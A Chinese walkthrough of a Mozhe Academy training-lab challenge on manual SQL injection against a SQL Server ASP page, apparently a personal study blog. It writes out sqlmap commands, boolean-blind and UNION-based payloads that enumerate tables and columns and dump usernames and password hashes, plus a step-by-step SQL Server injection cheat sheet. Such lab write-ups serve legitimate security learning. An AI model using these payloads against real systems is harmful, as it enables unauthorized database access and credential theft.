墨者学院-SQL手工注入漏洞测试(Sql Server数据库)

想偷懒没偷成。sqlmap获取到错误的字段值

  • sqlmap -u 'http://219.153.49.228:42971/new_list.asp?id=2' --current-db
    墨者学院-SQL手工注入漏洞测试(Sql Server数据库)_第1张图片
    image.png
  • sqlmap -u 'http://219.153.49.228:42971/new_list.asp?id=2' -D mozhe_db_v2 --columns
    墨者学院-SQL手工注入漏洞测试(Sql Server数据库)_第2张图片
    image.png
  • sqlmap -u 'http://219.153.49.228:42971/new_list.asp?id=2' -D mozhe_db_v2 -C password,username --dump
    墨者学院-SQL手工注入漏洞测试(Sql Server数据库)_第3张图片
    image.png

手工注入

  • 判断字段order by 5 order by 4


    墨者学院-SQL手工注入漏洞测试(Sql Server数据库)_第4张图片
    image.png

    墨者学院-SQL手工注入漏洞测试(Sql Server数据库)_第5张图片
    image.png
  • 过滤掉了union


    墨者学院-SQL手工注入漏洞测试(Sql Server数据库)_第6张图片
    image.png
  • 黔驴技穷,以下为参考各位大佬,虽然对直接判断有没有这个表的方法表示怀疑,但是没到其他答案,还是感谢大佬们的分享精神。
  • 布尔盲注。 and exists()
  • 判断是否有manage数据库 and exists(select * from manage)


    墨者学院-SQL手工注入漏洞测试(Sql Server数据库)_第7张图片
    image.png
  • 判断manage数据库是否有username、password、id字段。 and exist(select username from manage) and exists(select password from manage)


    墨者学院-SQL手工注入漏洞测试(Sql Server数据库)_第8张图片
    image.png

    墨者学院-SQL手工注入漏洞测试(Sql Server数据库)_第9张图片
    image.png

    墨者学院-SQL手工注入漏洞测试(Sql Server数据库)_第10张图片
    image.png
  • 判断username长度和值.手动太慢了,直接写个python脚本跑吧。
    and exists (select id from manage where len(username)<20 and id=1)


    墨者学院-SQL手工注入漏洞测试(Sql Server数据库)_第11张图片
    image.png

    and exists (select id from manage where len(username)<15 and id=1)
    and exists (select id from manage where len(username)=8 and id=1)


    墨者学院-SQL手工注入漏洞测试(Sql Server数据库)_第12张图片
    image.png

    and exists (select id from manage where unicode(substring(username,2,1)) = 100 and id=1)
    墨者学院-SQL手工注入漏洞测试(Sql Server数据库)_第13张图片
    image.png

    image.png
  • 判断password。 72e1bfc3f01b7583 要md5解密(感觉记忆力下降了肿么办,拿着这个16位的md5当密码试了半天,老是提示用户名密码错误,跑了好几遍脚本,差点怀疑人生,忽然想起来,这是md5,怀疑自己了,好补补脑了。)


    墨者学院-SQL手工注入漏洞测试(Sql Server数据库)_第14张图片
    image.png

提交key后,看到真实的解题思路,原来如此。

  • union all select null,null,null,null


    墨者学院-SQL手工注入漏洞测试(Sql Server数据库)_第15张图片
    image.png
  • union all select '1','2','3','4'


    墨者学院-SQL手工注入漏洞测试(Sql Server数据库)_第16张图片
    image.png
  • union all select '1','2',db_name(),'4'


    墨者学院-SQL手工注入漏洞测试(Sql Server数据库)_第17张图片
    image.png
  • union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4


    墨者学院-SQL手工注入漏洞测试(Sql Server数据库)_第18张图片
    image.png
  • union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4


    墨者学院-SQL手工注入漏洞测试(Sql Server数据库)_第19张图片
    image.png
  • union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage','announcement')),'3',4


    墨者学院-SQL手工注入漏洞测试(Sql Server数据库)_第20张图片
    image.png
  • id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null


    墨者学院-SQL手工注入漏洞测试(Sql Server数据库)_第21张图片
    image.png
  • id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null


    墨者学院-SQL手工注入漏洞测试(Sql Server数据库)_第22张图片
    image.png
  • union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null


    image.png
  • id=-2 union all select null,(select top 1 col_name(object_id('manage'),4) from sysobjects),null,null 说明mange表总共有3列,分别为:id、username、password


    墨者学院-SQL手工注入漏洞测试(Sql Server数据库)_第23张图片
    image.png
  • union all select null,username, password ,null from manage


    墨者学院-SQL手工注入漏洞测试(Sql Server数据库)_第24张图片
    image.png

    以上步骤from 唐三

sqlserver 思路整理:

  1. 判断注入
    And1=1,and 1=2

  2. 回显,判断数据库类型
    And 1=2

  3. 判断字段:
    Order by ……

  4. 联合查询
    And 1=2 Union select ……
    And 1=2 union all select ……
    注:判断字符是否特殊
    And 1=2 union all select 1,2,’3’,4

  5. 猜数据库名:
    And 1 =2 union all select 1,db_name(),3,4
    And 1 =2 union all select 1,db_name(1),3,4
    And 1 =2 union all select 1,db_name(2),3,4
    And 1 =2 union all select 1,db_name(3),3,4
    ……

  6. 猜表名:
    And 1=2 union all select 1,(select top 1 name from 数据库名.dbo.sysobjects where xtype=’u’),3,4
    查看其它表名:
    And 1=2 union all select 1,(select top 1 name from 数据库名.dbo.sysobjects where xtype=’u’ and name not in (‘表名’)),3,4

  7. 猜列名:
    union all select 1,(select top 1 col_name(object_id('manage'),1)from sysobjects),'3',4
    union all select 1,(select top 1 col_name(object_id('manage'),2)from sysobjects),'3',4
    union all select 1,(select top 1 col_name(object_id('manage'),3)from sysobjects),'3',4
    8.爆破:
    union all select 1,username,password,4 from manage
    以上思路from 乐天

思路补充:
如果检测到注入点,不知道数据库类型怎么办,工具就不用说了。手动的话

  • 判断sqlserver and (select count(*) from sysobjects) >0
    墨者学院-SQL手工注入漏洞测试(Sql Server数据库)_第25张图片
    image.png

注:侵删

** 一个题搞了一下午,革命的道路还有很长,装备何时满级能一刀斩妖魔。

你可能感兴趣的:(墨者学院-SQL手工注入漏洞测试(Sql Server数据库))